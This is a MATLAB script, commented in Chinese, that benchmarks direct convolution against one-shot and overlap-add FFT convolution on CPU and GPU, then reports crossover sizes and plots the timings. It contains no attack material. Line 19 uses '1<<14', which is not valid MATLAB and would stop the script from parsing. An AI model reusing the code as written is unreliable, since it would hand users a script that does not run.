1
function bench_conv_vs_fft()
2
% BENCH_CONV_VS_FFT
3
% 在你的硬件/版本上基准比较：
4
% 1) conv（直接卷积，CPU/GPU）
5
% 2) 一次性 FFT 卷积（CPU/GPU）
6
% 3) Overlap-Add FFT 卷积（CPU/GPU）
7
%
8
% 结果：打印出“FFT 比 conv 更快”的近似分界核大小，并画出时间对比图。
9
% 你可以修改“用户参数”以匹配你的真实数据规模。
10

11
%% ==== 用户参数 ====
12
mode = "sweepKernel";     % "sweepKernel" 固定信号长度扫核大小；或 "sweepSignal" 固定核扫信号长度
13
N_fixed = 2^18;           % 固定信号长度（sweepKernel 模式下使用）
14
K_list  = [3 5 9 15 31 63 127 255 511 1023 2047];  % 扫描的核长度（奇数常见，可按需改）
15
K_fixed = 255;            % 固定核长度（sweepSignal 模式下使用）
16
N_list  = round(logspace(3,6,10)); % 扫描的信号长度
17

18
use_overlap_add = true;   % 是否包含 overlap-add（分块 FFT）方案
19
OA_block_target = 1<<14;  % 期望块长的量级（会自动取最近的合适 FFT 点）
20

21
rng(0);                   % 固定随机种子，保证可复现
22
nRepsSafety = 1;          % 大问题规模时，避免超长基准，timeit 自带多次测量
23

24
hasGPU = exist('gpuDeviceCount','file') && gpuDeviceCount>0;
25

26
%% ==== 生成尺寸序列 ====
27
if mode=="sweepKernel"
28
    N_vec = N_fixed*ones(size(K_list));
29
    K_vec = K_list(:);
30
    x_label = 'Kernel length K';
31
    x_ticks = K_list;
32
elseif mode=="sweepSignal"
33
    N_vec = N_list(:);
34
    K_vec = K_fixed*ones(size(N_list));
35
    x_label = 'Signal length N';
36
    x_ticks = N_list;
37
else
38
    error('mode 必须是 "sweepKernel" 或 "sweepSignal"');
39
end
40
nCases = numel(N_vec);
41

42
%% ==== 结果数组 ====
43
t_conv_cpu   = nan(nCases,1);
44
t_fft_cpu    = nan(nCases,1);
45
t_oa_cpu     = nan(nCases,1);
46
t_conv_gpu   = nan(nCases,1);
47
t_fft_gpu    = nan(nCases,1);
48
t_oa_gpu     = nan(nCases,1);
49

50
%% ==== 主循环 ====
51
for i = 1:nCases
52
    N = N_vec(i);
53
    K = K_vec(i);
54

55
    % 随机双精度数据（更接近实际）
56
    x = randn(N,1);
57
    h = randn(K,1);
58

59
    % -------- CPU：conv 直接法 --------
60
    t_conv_cpu(i) = timeit(@() conv(x,h,'full'), nRepsSafety);
61

62
    % -------- CPU：一次性 FFT 卷积 --------
63
    t_fft_cpu(i) = timeit(@() localFFTConv(x,h), nRepsSafety);
64

65
    % -------- CPU：Overlap-Add --------
66
    if use_overlap_add
67
        t_oa_cpu(i) = timeit(@() localOverlapAdd(x,h,OA_block_target), nRepsSafety);
68
    end
69

70
    % -------- GPU（若可用）--------
71
    if hasGPU
72
        xg = gpuArray(x); hg = gpuArray(h);
73

74
        t_conv_gpu(i) = gputimeit(@() conv(xg,hg,'full'));
75

76
        t_fft_gpu(i)  = gputimeit(@() localFFTConv(xg,hg));
77

78
        if use_overlap_add
79
            t_oa_gpu(i) = gputimeit(@() localOverlapAdd(xg,hg,OA_block_target));
80
        end
81

82
        % 清理 GPU 内存压力
83
        reset(gpuDevice);
84
    end
85

86
    % 正确性抽检（避免静默数值问题）
87
    % 仅在 CPU 上做一次检查，允许 FFT 有轻微浮点误差
88
    if i==1
89
        y_ref = conv(x,h,'full');
90
        y_f   = localFFTConv(x,h);
91
        err_f = norm(y_ref - y_f, inf) / max(1, norm(y_ref, inf));
92
        assert(err_f < 1e-9, '一次性 FFT 卷积结果误差过大：%g', err_f);
93

94
        if use_overlap_add
95
            y_oa  = localOverlapAdd(x,h,OA_block_target);
96
            err_oa = norm(y_ref - y_oa, inf) / max(1, norm(y_ref, inf));
97
            assert(err_oa < 1e-9, 'Overlap-Add 卷积结果误差过大：%g', err_oa);
98
        end
99
    end
100

101
    fprintf('Case %d/%d: N=%d, K=%d | conv=%.4gs, fft=%.4gs, oa=%.4gs%s\n', ...
102
        i, nCases, N, K, t_conv_cpu(i), t_fft_cpu(i), t_oa_cpu(i), ...
103
        tern(hasGPU, sprintf(' | GPU conv=%.4gs, fft=%.4gs, oa=%.4gs', t_conv_gpu(i), t_fft_gpu(i), t_oa_gpu(i)), ''));
104
end
105

106
%% ==== 统计并打印分界点（CPU/GPU） ====
107
fprintf('\n=== 分界点（以“快过 10%%”为准）===\n');
108
if mode=="sweepKernel"
109
    idx_cpu_fft = find(t_fft_cpu./t_conv_cpu < 0.9, 1, 'first');
110
    idx_cpu_oa  = find(t_oa_cpu./t_conv_cpu  < 0.9, 1, 'first');
111
    if ~isempty(idx_cpu_fft), fprintf('CPU：一次性 FFT 在 K ≈ %d 起更快\n', x_ticks(idx_cpu_fft)); end
112
    if use_overlap_add && ~isempty(idx_cpu_oa), fprintf('CPU：Overlap-Add 在 K ≈ %d 起更快\n', x_ticks(idx_cpu_oa)); end
113
    if hasGPU
114
        idx_gpu_fft = find(t_fft_gpu./t_conv_gpu < 0.9, 1, 'first');
115
        idx_gpu_oa  = find(t_oa_gpu./t_conv_gpu  < 0.9, 1, 'first');
116
        if ~isempty(idx_gpu_fft), fprintf('GPU：一次性 FFT 在 K ≈ %d 起更快\n', x_ticks(idx_gpu_fft)); end
117
        if use_overlap_add && ~isempty(idx_gpu_oa), fprintf('GPU：Overlap-Add 在 K ≈ %d 起更快\n', x_ticks(idx_gpu_oa)); end
118
    end
119
else
120
    idx_cpu_fft = find(t_fft_cpu./t_conv_cpu < 0.9, 1, 'first');
121
    idx_cpu_oa  = find(t_oa_cpu./t_conv_cpu  < 0.9, 1, 'first');
122
    if ~isempty(idx_cpu_fft), fprintf('CPU：一次性 FFT 在 N ≈ %d 起更快\n', x_ticks(idx_cpu_fft)); end
123
    if use_overlap_add && ~isempty(idx_cpu_oa), fprintf('CPU：Overlap-Add 在 N ≈ %d 起更快\n', x_ticks(idx_cpu_oa)); end
124
    if hasGPU
125
        idx_gpu_fft = find(t_fft_gpu./t_conv_gpu < 0.9, 1, 'first');
126
        idx_gpu_oa  = find(t_oa_gpu./t_conv_gpu  < 0.9, 1, 'first');
127
        if ~isempty(idx_gpu_fft), fprintf('GPU：一次性 FFT 在 N ≈ %d 起更快\n', x_ticks(idx_gpu_fft)); end
128
        if use_overlap_add && ~isempty(idx_gpu_oa), fprintf('GPU：Overlap-Add 在 N ≈ %d 起更快\n', x_ticks(idx_gpu_oa)); end
129
    end
130
end
131

132
%% ==== 画图（CPU / 可选 GPU） ====
133
figure('Name','conv vs FFT benchmark'); hold on; grid on;
134
if mode=="sweepKernel"
135
    xval = K_vec;
136
else
137
    xval = N_vec;
138
end
139

140
% CPU
141
plot(xval, t_conv_cpu, '-', 'DisplayName','CPU conv');
142
plot(xval, t_fft_cpu,  '-', 'DisplayName','CPU FFT');
143
if use_overlap_add
144
    plot(xval, t_oa_cpu,   '-', 'DisplayName','CPU FFT (overlap-add)');
145
end
146

147
% GPU
148
if hasGPU
149
    plot(xval, t_conv_gpu, '--', 'DisplayName','GPU conv');
150
    plot(xval, t_fft_gpu,  '--', 'DisplayName','GPU FFT');
151
    if use_overlap_add
152
        plot(xval, t_oa_gpu,   '--', 'DisplayName','GPU FFT (overlap-add)');
153
    end
154
end
155

156
set(gca,'XScale','log','YScale','log');
157
xlabel(x_label); ylabel('Time (s)');
158
legend('Location','best');
159
title(sprintf('N (fixed or sweep) / K (fixed or sweep): N=%s, K=%s', num2str(N_fixed), num2str(K_fixed)));
160

161
end % main function
162

163
%% ====== 辅助函数 ======
164

165
function y = localFFTConv(x,h)
166
% 一次性 FFT 卷积（full 长度）
167
n = numel(x) + numel(h) - 1;
168
nfft = 2^nextpow2(n);
169
y = ifft( fft(x, nfft) .* fft(h, nfft) );
170
y = y(1:n);
171
% 保持原类型（支持 gpuArray）
172
if ~isa(y, 'gpuArray')
173
    y = real(y); % CPU 上去除数值噪声的虚部
174
end
175
end
176

177
function y = localOverlapAdd(x,h,OA_block_target)
178
% Overlap-Add（分块 FFT），full 长度
179
Nx = numel(x); M = numel(h);
180
L  = max(1, OA_block_target);            % 期望块长
181
nfft = 2^nextpow2(L + M - 1);            % 实际 FFT 长度
182
L  = nfft - M + 1;                        % 真正每块放入的样本数
183
H  = fft(h, nfft);
184
y  = zeros(Nx + M - 1, 1, 'like', x);     % 和 x 同类型（支持 gpuArray）
185

186
pos = 1;
187
while pos <= Nx
188
    Lb = min(L, Nx - pos + 1);
189
    xb = x(pos : pos + Lb - 1);
190
    Yb = ifft( fft(xb, nfft) .* H );
191
    y(pos : pos + Lb + M - 2) = y(pos : pos + Lb + M - 2) + Yb(1 : Lb + M - 1);
192
    pos = pos + Lb;
193
end
194

195
if ~isa(y, 'gpuArray'), y = real(y); end
196
end
197

198
function s = tern(cond, a, b)
199
if cond, s = a; else, s = b; end
200
end